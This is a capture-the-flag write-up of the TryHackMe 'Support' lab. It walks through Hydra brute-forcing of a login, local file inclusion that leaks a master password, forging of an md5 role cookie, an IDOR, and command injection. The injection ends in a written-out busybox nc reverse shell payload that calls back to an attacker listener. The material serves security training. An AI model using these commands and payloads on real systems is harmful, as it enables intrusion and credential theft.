> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/support.md). # Support {% embed url="" %} The following post by 0xb0b is licensed under [CC BY 4.0

](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1) *** ## Scenario A new internal **Support Operations Platform** has been deployed to assist IT and helpdesk teams. The application handles user management, internal APIs, and system-level operations. However, security was not the primary focus during development. Several features rely on user-controlled input and weak trust boundaries. ## Summary

Summary

In Support, we enumerate the target and identify SSH on port 22 and an HTTP service on port 80 hosting a login portal that exposes the email `help@support.thm` on the index page. We brute-force the login form with Hydra against the `xato-net-10-million-passwords-10000` wordlist, recover valid credentials, and gain access to a dashboard with a `skin`parameter vulnerable to local file inclusion. By traversing paths like `dashboard.php?skin=../api` and `../config`, we leak the source code of `api.php` and `config.php`, with the latter revealing a master password. With a tampered cookie, we are able to reach the `api.php` endpoint, which exposes a user endpoint from which `/user/1` reveals the email of the admin user. The admin account uses a slight derivation of the master password, allowing us to log in as the admin user. We then identify a `sys` parameter in the dashboard footer that executes system commands when set to values like `time`, confirming command injection. We exploit this by injecting a `busybox nc` reverse shell via command substitution (`date$(busybox nc 192.168.135.32 4445 -e bash)`) against a Penelope listener and land a callback as `www-data`, retrieving the final flag from `/home/ubuntu/user.txt`.

## Recon We use `rustscan -b 500 -a support.thm --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`. A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability. {% code overflow="wrap" expandable="true" %} ``` rustscan -b 500 -a support.thm --top -- -sC -sV -Pn ``` {% endcode %}

We discover two open ports, SSH available on port 22 and a web server available on port 80.

We visit the index page and are greeted by a login. An account is already visible to try for a dictionary attack. {% code overflow="wrap" expandable="true" %} ``` http://support.thm/ ``` {% endcode %}

We run a dictionary attack and find some less interesting path. {% code overflow="wrap" expandable="true" %} ``` feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://support.thm/' ``` {% endcode %}

## Access as We capture a log in request as `help@support.thm` to prepare a dictionary attack via hydra.

We are able to determine the used password of `help@support.thm` by using the `xato-net-10-million-passwords-10000.txt` wordlist. {% code overflow="wrap" expandable="true" %} ``` hydra -l 'help@support.thm' -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt support.thm http-post-form '/:email=^USER^&password=^PASS^:Invalid credentials. ``` {% endcode %}

We enter the credentials and are redirected to the dashboard. {% code overflow="wrap" expandable="true" %} ``` http://support.thm ``` {% endcode %}

On the dashboard we only have the selction fo themes available yet. {% code overflow="wrap" expandable="true" %} ``` http://support.thm/dashboard.php ``` {% endcode %}

We test this by selecting a theme. {% code overflow="wrap" expandable="true" %} ``` http://support.thm/dashboard.php?skin=red ``` {% endcode %}

It seems like that also path traversal is present. From our previous scan we see that it might include php files. This would also allow us to include other php files present. {% code overflow="wrap" expandable="true" %} ``` http://support.thm/dashboard.php?skin=../skins/red ``` {% endcode %}

## Access as with ITUser privileges We inspect the cookies and see a is ITUser cookie. A md5 value is set.

We crack the hash using CrackStation and see it resolves to the value false.

We generate a md5 sum of `true`... {% embed url="" %}

... and replace it. Now we have the API available.

From there we are able to spot different user entries via an IDOR. {% code overflow="wrap" expandable="true" %} ``` http://support.thm/api.php ``` {% endcode %}

We inspect the entry of the first user and find the admin. The admin email address is `specialadmin@support.thm`. {% code overflow="wrap" expandable="true" %} ``` http://support.thm/user/1 ``` {% endcode %}

Another dictionary attack is not sufficient. So we try to leverage the LFI we found previously. With that we can inspect the source of the different PHP files present. {% code overflow="wrap" expandable="true" %} ``` http://127.0.0.1/?view-source:http://support.thm/dashboard.php?skin=../api ``` {% endcode %}

We try to include the config.php file and are succesful. This reveals the master password. Maybe it is used by the admin. {% code overflow="wrap" expandable="true" %} ``` view-source:http://support.thm/dashboard.php?skin=../config ``` {% endcode %}

We try the found master password in combination with the admin mail, but without success. It turns out it is a slight varition of the master password missing the special character... {% code overflow="wrap" expandable="true" %} ``` http://support.thm/ ``` {% endcode %}

We log in and find the first flag. {% code overflow="wrap" expandable="true" %} ``` http://support.thm/dashboard.php ``` {% endcode %}

Now we are able to set the footer by the drop down below.

We test the parameter...

... and the response to setting the sys parameter to time looks like a system command is being executed.

We try to spawn a reverse shell via command substition. Before we send the request we set up a listner with `penelope -p 4445`. {% embed url="" %} {% code overflow="wrap" expandable="true" %} ``` date$(busybox nc 192.168.135.32 4445 -e bash) ``` {% endcode %}

We get a connection back and are `www-data`.

We find the final flag at `/home/ubuntu/user.txt`.